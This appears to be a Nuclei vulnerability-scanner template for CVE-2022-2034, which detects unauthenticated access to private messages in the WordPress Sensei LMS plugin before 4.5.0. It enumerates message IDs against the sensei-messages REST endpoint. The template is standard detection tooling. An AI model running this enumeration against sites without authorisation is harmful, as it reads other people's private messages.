id: CVE-2022-2034

info:
  name: WordPress Sensei LMS <4.5.0 - Information Disclosure
  author: imhunterand
  severity: medium
  description: |
    WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.
  remediation: |
    Upgrade WordPress Sensei LMS to version 4.5.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/aba3dd58-7a8e-4129-add5-4dd5972c0426
    - https://hackerone.com/reports/1590237
    - https://wordpress.org/plugins/sensei-lms/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2034
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2034
    cwe-id: CWE-639
    epss-score: 0.00506
    epss-percentile: 0.76026
    cpe: cpe:2.3:a:automattic:sensei_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 100
    vendor: automattic
    product: sensei_lms
    framework: wordpress
  tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"

    payloads:
      num: helpers/wordlists/numbers.txt
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sensei_message'
          - 'guid":{"rendered":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 490a0046304402204159fe65ec7807319771a407f9f328a4dc1c9a87b9224342472ee3835741077a02205d66d5c113f1ed78d4e8aad4ade20bef79e6504f3d453784e08fea1f00c59e07:922c64590222798bb761d5b6d8e72950